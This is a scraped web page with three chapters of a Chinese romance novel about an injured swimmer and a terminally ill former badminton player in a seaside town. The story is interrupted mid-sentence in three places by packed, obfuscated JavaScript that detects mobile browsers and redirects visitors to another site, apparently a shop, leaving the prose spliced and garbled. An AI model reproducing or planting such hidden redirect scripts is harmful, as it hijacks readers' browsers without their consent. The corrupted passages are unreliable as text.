《鲸语说给晚风听》 4. 夏·初遇 周三早上，疗养院的食堂炸开了锅。 “三文鱼是进口的，绝对新鲜！”采购部的李师傅拍着胸脯保证，“王医生特意交代了，要给孩子们补充优质蛋白。” “那这龙虾怎么回事？”食堂张阿姨拎起一只还在张牙舞爪的大家伙，“这玩意儿谁定的？” “也是王医生，说换个口味……” 苏晚禾端着餐盘从旁边经过，瞥了一眼那只被五花大绑的龙虾。 确实够大，估计有两三斤，深蓝色的甲壳在晨光下泛着金属光泽。 “晚禾啊，”张阿姨看见她，眼睛一亮，“你们游泳队是不是常吃海鲜？这龙虾怎么处理你知道吗？” “我们吃的是营养师配好的餐，不处理活物。”苏晚禾实话实说，“不过......清蒸应该就行？” “清蒸也得先杀啊。”张阿姨发愁，“李师傅说他不敢，我也没弄过这么大的。” 最后解决方案是：李师傅开车把海鲜送到镇上的海鲜市场，请相熟的摊主帮忙处理，中午前再送回来。 “我也去吧。”苏晚禾突然说，“在疗养院待着也没事，正好去市场转转。” 于是上午九点，苏晚禾坐上了疗养院那辆白色小货车的副驾驶。 云港的海鲜市场就在码头边上，是个半露天的大棚。 还没下车就能闻到浓重的海腥味，混杂着冰块、海水和鱼虾的气味。 市场里人声鼎沸，摊主们的吆喝声、顾客的讨价还价声、鱼在盆里扑腾的水声交织在一起。 李师傅熟门熟路地把车停在一个摊子前：“老赵！帮个忙！” 摊主是个五十多岁的大叔，皮肤黝黑，围裙上沾着鱼鳞：“哟，李师傅！今天带这么多好东西？这龙虾可以啊——” “帮忙处理一下，中午前得送回去。”李师傅打开后备箱，露出里面几个泡沫箱。 苏晚禾跳下车，帮着把箱子搬下来。 老赵的摊位不小，一排排塑料盆里养着各种鱼虾蟹，旁边的冰块上摊着处理好的海鲜。 两个帮工正在给客人称重装袋。 “小姑娘新来的？”老赵看了眼苏晚禾，“以前没见过。” “疗养院的。”苏晚禾说。 “哦哦，王医生那边的。”老赵点点头，麻利地开始处理鱼鳞，“那你坐着等会儿，这批货处理完就弄你们的。” 苏晚禾没坐，她站在摊位边看。 市场里人来人往，有拎着菜篮子的本地阿姨，也有背着相机的游客。 一个卖贝类的摊子前围了好多人，大概在抢特价。 就在她东张西望的时候，一个熟悉的身影走进了视野。 谢临洲。 他今天穿了件浅蓝色的衬衫，手里拎着一个帆布袋，正站在不远处一个卖海带的摊子前挑拣。 晨光从大棚的缝隙漏下来，在他身上洒下斑驳的光点。 苏晚禾想也没想就挥手：“谢临洲！” 谢临洲转过头，看见她时愣了一下，然后点点头走过来。 “你怎么在这儿？”两人同时开口，又同时停住。 苏晚禾先笑出来：“疗养院采购海鲜，我跟着来帮忙。你呢？” “买海带。”谢临洲举起手里的袋子，“煮汤。” “你会做饭？” “简单的会。”谢临洲看向她身后摊位上那只大龙虾，“这是你们的？” “嗯，中午加餐。”苏晚禾突然想起什么，转头问老赵，“赵叔，这龙虾怎么吃最好啊？” “这么大的，刺身或者清蒸都行。”老赵头也不抬，“不过你们疗养院那帮老爷爷老太太，估计更喜欢蒜蓉蒸。” 正说着，李师傅从市场办公室回来了：“老赵，单子签好了，我先去送趟货，十分钟后回来取龙虾。”他看向苏晚禾，“晚禾你在这儿等着？” “行。” 李师傅开车走了。 老赵那边来了个大客户，一口气要了二十斤虾，两个帮工忙不过来，老赵自己也去帮忙称重了。 摊位边只剩下苏晚禾、谢临洲，还有那只暂时被放在一个浅塑料盆里的大龙虾。 “它会不会跑出来？”苏晚禾盯着龙虾的钳子。 “盆浅，有可能。”谢临洲说。 话音刚落，龙虾突然一个挣扎，钳子扒住盆沿，整个身体往上一挺—— 哗啦！ 盆翻了。 龙虾掉在地上，立刻开始横着爬行，速度居然不慢。 紧接着，旁边几个装着活虾的盆被它撞到，一连串的连锁反应：盆倒，虾跳，水溅。 眨眼工夫，十几只对虾从盆里蹦出来，在地面上噼里啪啦地弹跳。 “我去！”苏晚禾傻眼了。 谢临洲反应比她快。 他放下帆布袋，跨步上前想去抓龙虾，但龙虾一甩尾巴，钻进旁边的摊位底下。 “那边！它往那边跑了！”隔壁摊的阿姨尖叫。 苏晚禾也顾不上了，弯腰开始抓地上的虾。 虾又滑又蹦，她抓了好几次才捏住一只，扔回盆里。 谢临洲则蹲下身，试图把龙虾从摊位底下赶出来。 “小谢！用这个！”老赵扔过来一个捞鱼网。 谢临洲接过网兜，趴在地上往摊位底下探。 苏晚禾抓完这边的虾，也跑过来帮忙。 “看见了吗？”她蹲在他旁边。 “在柱子后面。”谢临洲压低声音，“我数三二一，你从那边吓它一下。” “怎么吓？” “拍地。” “哦。” 谢临洲数到一，苏晚禾用力拍了下地面。 龙虾受惊，猛地往外窜——正好撞进谢临洲的网兜里。 “抓住了！”苏晚禾跳起来。 谢临洲把网兜提起来，龙虾在里面张牙舞爪。 两人对视一眼，都松了口气。 然后他们才注意到彼此的狼狈：谢临洲的衬衫下摆湿了一大片，沾着泥沙；苏晚禾的裤腿上全是水渍，手里还捏着一只漏网的虾。 老赵和帮工们已经收拾好了其他摊位，看见他俩这样，哈哈大笑：“你俩这是赶海去了？” “赵叔你还笑！”苏晚禾把最后那只虾扔进盆里，“快把这祖宗处理了吧，太能折腾了。” “马上马上。”老赵接过龙虾，动作麻利地开始处理。 苏晚禾和谢临洲走到摊位后面的水龙头边洗手。 水流冲掉手上的腥味，苏晚禾看着谢临洲衬衫上的污渍：“你这衣服......” “没事，回去洗。”谢临洲甩了甩手上的水，“你裤腿也湿了。” “反正快中午了，回疗养院换。”苏晚禾转头看他，突然笑了，“刚才你趴地上那样，特别像抓螃蟹的小孩。” 谢临洲顿了顿：“你拍地那一下，也有的一说。” “说什么？这是专业动作好吗？”苏晚禾反驳，但嘴角还翘着。 老赵很快处理好了龙虾，装进保温箱。 这时李师傅也回来了，看见两人湿漉漉的样子吓了一跳：“怎么了这是？” “龙虾越狱了。”苏晚禾言简意赅，“已经镇压了。” 李师傅哭笑不得，赶紧把箱子搬上车。 苏晚禾看了眼时间，十点半。 “我得回去了。”她对谢临洲说。 谢临洲点点头。 老赵突然开口：“等等。”他转身从摊位上拿了两串刚烤好的鱿鱼，塞给他们一人一串，“尝尝，刚烤的，香着呢。” 鱿鱼还冒着热气，刷了酱汁，撒着芝麻，香气扑鼻。 “这怎么好意思......”苏晚禾说。 “拿着拿着，下次多来照顾生意就行。”老赵挥挥手，又去忙了。 苏晚禾和谢临洲拿着鱿鱼串，一时不知该怎么办。 “去那边吃吧。”谢临洲指了指码头边的台阶。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930136|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 两人走到码头，在石阶上坐下。 早晨的阳光暖洋洋的，海风拂面，带着咸味和烤鱿鱼的香气。 远处，渔船正在归港，海鸥在桅杆间盘旋。 苏晚禾咬了一口鱿鱼。 很嫩，酱汁微甜，烤得恰到好处。 “好吃。”她说。 “嗯。”谢临洲也吃了一口。 他们安静地吃完了一整串鱿鱼。 苏晚禾把竹签扔进垃圾桶，伸了个懒腰：“说起来，今天周三。” “嗯。” “晚上灯塔，别忘了。” “不会忘。” 李师傅在那边按喇叭了。 苏晚禾站起来：“那我先走了。晚上见？” “晚上见。” 苏晚禾小跑着回到车边，拉开车门时回头看了一眼。 谢临洲还坐在码头边，面朝大海，背影在阳光下显得很安静。 车开回疗养院的路上，李师傅笑着说：“刚才那小伙子是你朋友？” “算吧。”苏晚禾看着窗外飞逝的街景，“刚认识不久。” “看着挺稳重的。”李师傅说，“就是脸色不太好，得多补补。” 苏晚禾没接话。 中午的龙虾大餐很受欢迎，疗养院的老人们赞不绝口。 苏晚禾分到了一小份蒜蓉蒸龙虾，肉质确实鲜甜。 她吃完后回房间换了条裤子，把湿的那条晾起来。 下午复健时，王医生检查了她的肩膀，点点头：“恢复得不错。下周可以开始水下活动了，记住，只是走动，不许划水。” “真的？”苏晚禾眼睛一亮。 “前提是你这周乖乖做复健，不许乱来。”王医生警告。 “保证不乱来。” 复健结束后，苏晚禾心情很好。 她回到房间，看了眼日历，周三被红笔圈着，旁边画了个小星星。 傍晚六点，她早早吃完晚饭，换了件方便活动的衣服，把泳镜塞进背包，匆匆出了门。 七点一刻，她出发往灯塔走。 夕阳正在西沉，海面一片金红。 她走到海岬时，看见灯塔的铁门已经开了，顶层有微弱的光透出来。 她爬上螺旋楼梯，到顶层时，谢临洲正在调望远镜。 “今天挺早。”他说。 “迫不及待想看星星。”苏晚禾把背包放下，“今天看什么？” “木星和它的卫星，还有天鹅座。”谢临洲让开位置，“你先看，我记数据。” 苏晚禾凑近望远镜。 夜空晴朗，星星清晰得像撒在黑绒布上的钻石。 木星还是那颗浅黄色的圆点，周围四颗卫星排成一条细线。 “真美。”她轻声说。 谢临洲在笔记本上记录着时间、坐标和可见度。 台灯的光晕把他的侧脸照得很柔和。 看了十分钟，苏晚禾直起身，眼睛有点花。 她揉了揉，突然想起什么：“对了，说好教你游泳理论的。现在有空吗？” 谢临洲合上笔记本：“有。” 苏晚禾从背包里拿出一个小本子，那是她的训练笔记，上面画着各种泳姿分解图。 她翻到自由泳那页：“你看，自由泳的划水动作，其实和羽毛球高远球的发力有点像。都是要用到核心力量，转体带动手臂......” 她讲得很认真，偶尔用手比划。 谢临洲安静地听着，偶尔点头或提问。 海风从窗口吹进来，带着夜间的凉意。 灯塔下，潮水正慢慢上涨，哗啦，哗啦。 两个年轻人，一个不能再游泳，一个不能再打球，在废弃的灯塔顶层，一个讲着水里的技巧，一个看着天上的星星。 而码头上，老赵正在收摊。 他看了眼灯塔的方向，笑了笑，关掉了摊位的灯。 夜晚还长，星星还亮。 5. 夏·初遇 周四早晨，苏晚禾是被肩膀的酸痛感弄醒的。 “让你昨天在海鲜市场瞎折腾。”她龇牙咧嘴地从床上坐起来，活动了一下右肩。 确实比平时疼，估计是抓虾和拍地那几下用力过猛了。 王医生今天上午坐诊，她得去复查。 八点半，苏晚禾准时出现在疗养院二楼的诊疗室外。 走廊里已经坐了几个等待的老人，她找了个空位坐下，从背包里掏出训练笔记翻看，昨晚给谢临洲讲自由泳发力，她自己又把要点重新梳理了一遍。 “苏晚禾。”护士在门口叫她的名字。 她收起笔记走进去。 诊疗室很简洁，一张办公桌，一张检查床，墙上挂着人体骨骼图。 王医生正在看电脑上的片子，见她进来，指了指检查床：“坐，我看看肩膀。” 苏晚禾坐下，配合着做了几个抬举动作。 “疼吗？”王医生按了按她的肩关节。 “一点点。” “昨天干什么了？”王医生抬头看她，“复健记录上写的是常规训练，但你这肌肉反应不太对。” 苏晚禾心虚地移开视线：“就......稍微活动了一下。没剧烈运动。” 王医生叹了口气：“晚禾，我知道你急，但肩袖损伤最怕二次伤害。你现在乱来，以后可能连日常生活都受影响，更别说游泳了。” 这话戳中了苏晚禾最怕的点。 她低下头：“我知道了。” “下周一开始水下活动，每天半小时，只能在浅水区走动，绝对不许划水。”王医生在病历本上写着，“我会让护士小陈盯着你。” “好。” “去拍个片子吧，看看恢复情况。”王医生开了单子，“拍完直接拿过来给我看。” 苏晚禾接过单子出了诊疗室，往一楼的放射科走。 走廊里人来人往，护士推着药品车，老人拄着拐杖慢慢走。 她经过楼梯口时，差点和一个人撞上。 “抱歉。”她及时刹住脚。 对方也后退了一步。是谢临洲。 他今天穿了件深灰色的外套，手里拿着一个牛皮纸文件袋，脸色看起来比平时更苍白一些。 “你来复查？”苏晚禾问。 谢临洲点点头：“每月一次。” “我也要复查。”苏晚禾晃了晃手里的单子，“去拍片子。” “一起吧。”谢临洲说。 两人并排往放射科走。 走廊的窗户开着，晨风吹进来，带着青草和消毒水的混合气味。 “你肩膀怎么样？”谢临洲问。 “医生说恢复得还行，但昨天可能活动多了，有点疼。”苏晚禾侧头看他，“你呢？脸色不太好。” “早上抽了血，有点晕。”谢临洲简单地说。 放射科在走廊尽头。 候诊区坐着几个人，电子屏上显示着排队号码。 苏晚禾取了号，和谢临洲在塑料椅上坐下。 “你每月都来？”她问。 “嗯。检查病情进展，调整用药。”谢临洲把文件袋放在膝盖上，手指无意识地摩挲着边缘。 叫号机叫到了她的号码。苏晚禾站起来：“那我先进去了。” “好。” 拍片过程很快。 她按照技师的要求摆了几个姿势，机器嗡嗡作响。 十分钟后，她拿着装片子的袋子出来，谢临洲已经不在候诊区了。 电子屏显示他的号码还没叫到。 苏晚禾在原地站了几秒，朝走廊另一头的卫生间方向走去。 果然，在男女卫生间之间的饮水机旁，她看见了谢临洲。 他背靠着墙，闭着眼睛，额头有细密的冷汗。 手里的文件袋掉在地上，里面的纸张散落出来，几张检查单，一份病历本，还有几张影像片子。 “谢临洲？”苏晚禾快步走过去。 谢临洲睁开眼，眼神有点涣散，但很快聚焦：“没事......低血糖。” 苏晚禾蹲下身帮他捡文件。 检查单上是密密麻麻的医学术语和数值，她看不懂，但能看见几个箭头标着“↑”。 影像片子的塑料袋上印着“右肱骨正侧位”。 然后她捡起了那本病历本。 深蓝色的封皮，印着云港市人民医院的字样。 翻开的第一页，诊断栏里黑色钢笔字清晰地写着： “骨肉瘤（右肱骨），Ⅲ期。” 下面还有一行小字：“预后不良，建议姑息治疗。” 苏晚禾的手僵住了。 她听说过骨肉瘤。 队里有个师兄的亲戚得过，说是恶性程度很高的骨癌，多发于青少年。 治疗很痛苦，预后...... 她突然想起谢临洲说“以前打”羽毛球时的平静语气。 想起他在旧球馆一遍遍对着墙挥拍。 想起他苍白的脸色和冰凉的手指。 “苏晚禾。”谢临洲的声音从头顶传来。 她抬起头。 谢临洲已经站直了身体，脸色还是白，但眼神恢复了平静。 他伸手接过病历本，合上，和其他的检查单一起塞回文件袋。 “该我了。”他说的是拍片叫号。 苏晚禾站起来，张了张嘴，不知道该说什么。 谢临洲朝她点点头，朝放射科走去。 他的背影挺直，步伐稳定，完全看不出刚才的不适。 苏晚禾在原地站了一会儿，然后转身往王医生的诊疗室走。 肩部的酸痛还在，但心里堵着的东西更重。 她把片子交给王医生。 王医生对着光看了半天，点点头：“恢复得不错，骨痂形成良好。继续保持，别乱来。” “嗯。” “怎么了？心事重重的。”王医生注意到她的表情。 “没什么。”苏晚禾站起来，“王叔叔，我问个问题......骨肉瘤，三期，是什么意思？” 王医生愣了一下，神色严肃起来：“你怎么突然问这个？” “就......听说一个朋友得了。” 王医生摘下眼镜，擦了擦镜片：“骨肉瘤是恶性骨肿瘤，三期意味着已经有远处转移的迹象，通常到肺......治疗很困难，预后......”他顿了顿，看着苏晚禾，“你那个朋友，多大了？” “十八。” 王医生沉默了几秒，叹了口气：“太年轻了。现在医疗技术进步，但......还是要做好心理准备。” 苏晚禾觉得喉咙发紧。 她谢过王医生，走出诊疗室。 走廊里空荡荡的，阳光从窗户照进来，在地板上投出明亮的光斑。 她回到301房间，关上门，背靠着门板滑坐到地上。 背包里有什么硬物硌着她。 她拉开拉链，摸出来，是那枚泳镜。 她盯着泳镜看了很久，然后起身打开衣柜，从最底层拖出一个收纳盒。 打开，里面整整齐齐码着她的奖牌：省青赛金牌、全国青年锦标赛银牌、城市邀请赛金牌......大大小小十几枚，在阳光下泛着金属光泽。 她一枚一枚拿出来，摆在床上。 金的，银的，铜的。 每一枚背面都刻着日期和比赛名称。 这些曾经是她全部的意义。 而现在有个人，可能再也没有机会站上领奖台了。 苏晚禾坐在地上，看着满床的奖牌发呆。 直到窗外传来午餐铃，她才猛地回过神。 她把奖牌一枚枚收好，想了想，从抽屉里找出一条深蓝色的绶带，把奖牌都串起来，沉甸甸的一串。 下午三点，她拎着这串奖牌出了疗养院。 她没有去旧球馆，今天周五，谢临洲不去。 她直接去了镇西那栋旧居民楼。 地址是她上次问海鲜摊老赵的：“谢临洲？就住码头西边那栋红砖楼，二楼最里间。” 楼很旧，楼梯扶手锈迹斑斑。 苏晚禾爬上二楼，在最里面的门前停下。 门缝里没有光，也没有声音。 她犹豫了一下，抬手敲门。 敲了三下，里面传来脚步声。 门开了。 谢临洲穿着家居服，头发有点乱，像是刚睡醒。 看见她，他明显愣了一下。 “苏晚禾？” “给你看个东西。”苏晚禾举起手里的奖牌串。 谢临洲的目光落在那一串金属牌上，又抬眼看她。 “不让我进去？”苏晚禾问。 谢临洲侧身让开。 房间很小，但很整洁。一张床，一张书桌，一个衣柜。 书桌上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930137|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 堆满了书，大部分是海洋和天文相关的。 墙角立着那个羽毛球拍包。 苏晚禾把奖牌串放在书桌上，金属碰撞发出清脆的响声。 “这是我所有的奖牌。”她说，“从十二岁到现在。” 谢临洲靠在门边，看着她。 “我知道这跟你没关系。”苏晚禾继续说着，语速有点快，“我也知道奖牌不能治病。但是......”她深吸一口气，“但是我觉得，如果你不能打比赛了，那至少......至少可以看看别人赢来的东西。” 她拿起那枚全国青年锦标赛的银牌，递给他：“这块是最重的。比赛的时候我肩膀其实已经有点不舒服了，游到最后五十米疼得想哭，但还是撑下来了。” 谢临洲接过奖牌。 银牌在手心里沉甸甸的，边缘已经有些磨损。 “这块省赛金牌，”苏晚禾又拿起一枚，“是我第一次赢。上台领奖的时候腿都在抖。” “这块城市邀请赛的铜牌，其实含金量不高，但我喜欢它的设计......” 她一枚一枚地介绍，语速渐渐慢下来。 谢临洲安静地听着，偶尔用手指摩挲奖牌的纹路。 最后一块介绍完，房间里陷入沉默。 窗外的风吹进来，翻动书页。 “苏晚禾。”谢临洲开口。 “嗯？” “你为什么要给我看这些？” 苏晚禾咬了咬嘴唇：“因为我今天看到你的病历了。三期......王医生跟我说了什么意思。”她抬起头看他，“我不知道该说什么，也不知道能做什么。我就想......也许你可以看看这些。” 她顿了顿，声音轻下来：“也许你可以想，这个世界上还有人为了赢一块金属牌子拼命训练，还有人觉得这些很重要。所以你......你不要那么平静地接受。你可以不甘心，可以生气，可以......可以不想放弃。” 谢临洲看着她。 灰色的眼睛里有什么情绪在涌动，很深，很沉。 然后他微微弯起嘴角。 那是苏晚禾第一次看见他笑。 很淡，但确实是一个笑容。 “我没有放弃。”他说，“我还在挥拍。” 他把手里的银牌放回桌上，金属碰撞发出轻响：“而且，谢谢你给我看这些。” 苏晚禾鼻子有点酸。 她别过头：“不用谢。反正这些牌子现在也没用，放着也是落灰。” “有用。”谢临洲说，“它们证明你游得很快。” 苏晚禾转回头，看见他正拿起那枚省赛金牌，对着光看上面的刻字。 “苏晚禾。”他又叫她的名字。 “干嘛？” “周三晚上，灯塔见。” “当然见啊，不是说好了吗？” “嗯。”谢临洲放下奖牌，“那周三见。” 苏晚禾把奖牌串重新收好，拎起来时沉得她胳膊一沉。 谢临洲送她到门口。 “对了，”苏晚禾在楼梯口转身，“下周一开始，我可以在水里走动了。虽然不能游，但至少能下水了。” “恭喜。” “等我能游了，给你表演个五十米自由泳。”苏晚禾说，“你计时。” “好。” 苏晚禾走下楼梯。 走到一楼时，她抬头看了一眼，谢临洲还站在二楼走廊的窗边，朝她点了点头。 她拎着奖牌串往疗养院走。 夕阳西下，海面一片金红。 肩部的酸痛似乎减轻了一些。 而楼上，谢临洲回到房间，关上门。 他在书桌前坐下，翻开日记本。 笔尖在纸面上停留了很久，才落下字： “7月29日，复查日。指标又差了。 在医院走廊低血糖，被苏晚禾撞见。她看到了病历。 下午她来了，带了一串游泳奖牌，沉甸甸的。她说‘你可以不甘心’。 我其实一直不甘心。 但今天之后，也许可以更坦然地不甘心。 她下周可以下水了。真好。 希望有一天，能看她游一次五十米自由泳。 我会好好计时。” 他合上日记本，看向窗外。 远处的海面上，归港的渔船正拉响汽笛。 悠长，绵远，像某种呼唤。 6. 夏·初遇 周一早上，苏晚禾是被雨声吵醒的。 不是那种温柔的细雨，而是噼里啪啦砸在窗户上的大雨，伴随着呼啸的风声。 她拉开窗帘，外面天色阴沉得像傍晚，海面上一片灰蒙蒙，浪头比平时高出一大截。 “台风要来了。”早餐时，食堂的张阿姨一边发馒头一边说，“气象台说今晚登陆，咱们这儿是外围影响，但风也不小。下午开始全院戒严，不许出门了啊。” 苏晚禾咬着馒头，想起今天是周一，她水下活动的第一天。 看来要泡汤了。 果然，上午的复健结束后，王医生叫住她：“今天泳池关闭，台风天不安全。水下活动延后。” “那明天呢？” “看天气。”王医生推了推眼镜，“台风过境得两三天，你这周可能都下不了水了。” 苏晚禾蔫了。 她回到房间，看着窗外越来越大的雨，心里那股烦躁劲儿又上来了。 不能训练，不能下水，现在连门都不能出。 她在房间里转了几圈，突然想起什么，拿出手机。 没有谢临洲的联系方式。 他们见过五次面，但从来没交换过电话或微信。 每次都是口头约定时间地点，到了就见面，见了就各忙各的。 苏晚禾盯着手机屏幕看了几秒，把手机扔回床上。 午饭时雨更大了。 疗养院的广播开始循环播放通知：“请所有人员留在室内，关闭门窗。台风期间暂停一切户外活动......” 吃完饭，苏晚禾回到房间，躺在床上看天花板。 雨点砸在玻璃上，发出密集的敲击声。 风从窗缝钻进来，呜呜作响。 她想起上周三在灯塔，谢临洲说今天会去旧球馆，周一三五，他的固定训练日。 但这么大的雨，他应该不会去了吧？ 不对。 苏晚禾坐起来。 谢临洲那个人，说一周三次就是一周三次。 上次在海鲜市场那么狼狈，他都能准时去灯塔。 今天这种天气...... 她抓起外套冲出门。 “苏小姐！”护士小陈在走廊喊她，“外面台风，不能出去！” “我就去门口看看！”苏晚禾头也不回地跑下楼。 疗养院大门已经锁了，但侧门还开着供工作人员进出。 看门的保安正在加固窗户，看见她连忙拦：“小姑娘不能出去，风太大了！” “我就看一眼！”苏晚禾从门缝往外看。 外面的景象让她倒吸一口凉气。 街道上积水已经没过脚踝，树枝被吹得疯狂摇摆，一个垃圾桶被风吹倒，咕噜噜滚出去老远。 雨是横着下的，打在人脸上生疼。 这种天气，谢临洲应该不会出门吧？ 但她还是不放心。 “叔叔，”她转头问保安，“能借把伞吗？我很快回来。” “不行不行，王医生交代了，谁都不能出去。”保安连连摆手，“你赶紧回房间去。” 苏晚禾咬着嘴唇，看了眼外面越来越恶劣的天气，最终还是转身回了楼里。 下午三点，台风正式影响云港。 疗养院全面封闭，所有人员集中在主楼。 老人们被安排在大厅看电视，工作人员忙着检查各处门窗。 苏晚禾坐在大厅角落里，心不在焉地看着电视上的台风特别报道。 主持人正说着“最大风力十级，请市民尽量不要外出”，画面切换到海边，浪头已经拍上了堤岸。 她突然站起来，朝楼梯间跑去。 “晚禾！你去哪儿？”王医生在后面喊。 “我回房间拿东西！”她头也不回。 实际上她跑回了301房间，从衣柜里翻出那件最厚的冲锋衣，又翻出雨衣和防水手电。 她把泳镜塞进口袋，不知道为什么，总觉得带着它能安心点。 然后她打开窗户。 风立刻灌进来，吹得她倒退两步。 雨点斜着打在她脸上，冰凉。 她探头往下看，二楼，不算高，下面是一片草坪，现在已经被水淹了一半。 苏晚禾小时候在体校没少干过翻墙逃训的事。 她估算了一下高度，把雨衣套上，冲锋衣穿在里面，把手电别在腰上。 翻出窗台，扒着外墙的水管，一点点往下滑。 雨打得她睁不开眼，风几乎要把她吹下去。 她咬紧牙关，脚终于触到地面，水已经淹到小腿了。 她深一脚浅一脚地朝外跑。 街上空无一人，所有店铺都关了门。 路面积水越来越深，有些地方已经没过膝盖。 苏晚禾靠着记忆往镇西方向走，风大得她几乎站不稳，雨衣被吹得哗啦作响。 走到一半，她看见前面路口有棵树倒了，横在路中间。 她正准备绕路，突然听见树那边传来熟悉的声音： “这边！往这边推！” 是谢临洲。 苏晚禾趟水跑过去，看见谢临洲和两个市政工人正在试图挪开倒下的树枝。 他穿着黑色的雨衣，但浑身已经湿透，头发贴在额头上，脸色在雨幕中白得吓人。 “谢临洲！”她大喊。 谢临洲转过头，看见她时明显愣了一下：“苏晚禾？你怎么......” “你先别管我！”苏晚禾跑过去帮忙推树枝，“这要挪哪儿去？” “往路边，别挡着排水口！”一个工人喊道。 四个人一起用力，终于把树枝挪到路边。 谢临洲喘着气，看向苏晚禾：“你怎么出来了？疗养院不是戒严了吗？” “你呢？”苏晚禾反问，“这种天气你还出门？” “我来球馆的路上看见树倒了，帮忙。”谢临洲抹了把脸上的雨水，“球馆那边地势低，我得去看看窗户关好没有。” “我跟你一起去。” “你回去。” “我不。” 两人在雨中对视。 谢临洲的灰眼睛在雨幕中显得格外深，他看了她几秒，最终转身：“跟紧我。” 旧球馆的情况比想象中糟糕。 后墙的一扇窗户被风吹开了，雨水正往里面灌。 谢临洲从包里掏出工具，他居然带了锤子和钉子，开始加固窗户。 苏晚禾帮他扶着木板，雨水顺着她的手臂往下流，冰凉。 “你每次来都带这些？”她大声问，风声太大，不喊听不见。 “台风季节常备。”谢临洲锤着钉子，动作熟练。 窗户加固好，但馆内已经有了一层积水。 谢临洲检查了一圈，确定没有其他破损，这才松了口气。 “现在怎么办？”苏晚禾问，“回不去了吧？” 外面天已经黑得像晚上，风声呼啸，雨丝毫没有减小的迹象。 街道上的积水更深了。 谢临洲看了眼外面：“在这里等风小点。” 两人在球馆里找了个相对干燥的角落坐下。 谢临洲从背包里掏出毛巾，他居然连毛巾都带了，递给苏晚禾一条。 “你包里还有什么？”苏晚禾擦着头发。 “水，饼干，药，手电，充电宝。”谢临洲一样样拿出来，“习惯了。” 苏晚禾看着他苍白的脸：“你吃药了吗？” “吃了。”谢临洲拧开水瓶喝了一口，“你呢？为什么跑出来？” “我......”苏晚禾顿了顿，“我怕你来球馆。” 谢临洲看向她。 “我知道你每周一三五都来，雷打不动。”苏晚禾继续说，“今天这种天气，我觉得你可能还是会来。所以我想来看看。” 谢临洲沉默了几秒：“很危险。” “你也知道危险？”苏晚禾没好气，“那你还出门？” “球馆要是进水，以后就真不能用了。”谢临洲说得很平静，“我得来看看。” 苏晚禾不说话了。 她靠在墙上，听着外面呼啸的风雨声。 球馆里很暗，只有谢临洲手电的光晕照亮一小片区域。 “冷吗？”谢临洲问。 “有点。” 谢临洲从背包里又掏出一件外套，居然还有备用，递给她。 苏晚禾接过来穿上，是件深蓝色的抓绒衣，有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16930138|192799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点大，但很暖和。 “你背包是哆啦A梦的口袋吗？”她忍不住问。 谢临洲弯了弯嘴角：“差不多。” 两人安静地坐着。 外面的风声渐渐小了，雨声也变得温和了些。 谢临洲看了眼手机：“七点了。风小多了，等雨小点我送你回去。” “你现在感觉怎么样？”苏晚禾看着他，“脸色很不好。” “累。”谢临洲闭上眼睛，“但没事。” 苏晚禾往他那边挪了挪。 两人的肩膀挨在一起，隔着湿透的衣服能感觉到对方的体温。 “谢临洲。”她轻声说。 “嗯？” “下次台风天，别出来了。” “那你呢？” “我也不出来。”苏晚禾说，“我们约好，台风天都不出门。” 谢临洲睁开眼睛，看向她。 手电的光晕里，她的眼睛很亮，睫毛上还沾着雨水。 “好。”他说。 雨又小了一些。 谢临洲站起来：“走吧，趁现在。” 两人趟着水往回走。 街道上已经开始有市政车辆在清理路障，路灯也亮了几盏。 走到疗养院附近时，苏晚禾突然想起什么：“我怎么进去？我是翻窗出来的。” 谢临洲想了想：“走后门。我帮你看看。” 疗养院后门果然没人看守，保安都去前门抗洪了。 苏晚禾轻手轻脚地溜进去，转身朝谢临洲挥手：“你快回去吧，路上小心。” 谢临洲点点头，转身走了。 苏晚禾摸回301房间，从窗户爬进去，还好窗户没锁。 她把湿透的衣服换下来，冲了个热水澡，裹着毯子坐在床上。 窗外，风雨已经完全停了。 月亮从云层后面露出来，洒下一地银白。 她拿起手机，犹豫了一下，还是发了条短信给一个疗养院的护工，她之前存了号码：“姐姐，你知道镇西旧居民楼谢临洲家的电话吗？谢谢。” 十分钟后，护工回信了：“问了居委会，电话是xxxxxxx。怎么了？” “没事，谢谢。” 苏晚禾看着那串数字，没有打。 她记在手机里，然后躺下。 第二天早上，阳光明媚得仿佛昨天的台风是一场梦。 苏晚禾下楼吃早餐时，王医生板着脸走过来：“苏晚禾，你昨天是不是偷跑出去了？” 苏晚禾装傻：“啊？” “保安看见你翻窗了。”王医生叹气，“我知道你闷，但台风天太危险了。下次不许这样，听到没有？” “听到了。”苏晚禾老实认错。 “下午泳池开放，你可以开始水下活动了。”王医生说，“记住，只能走动。” “真的？”苏晚禾眼睛一亮。 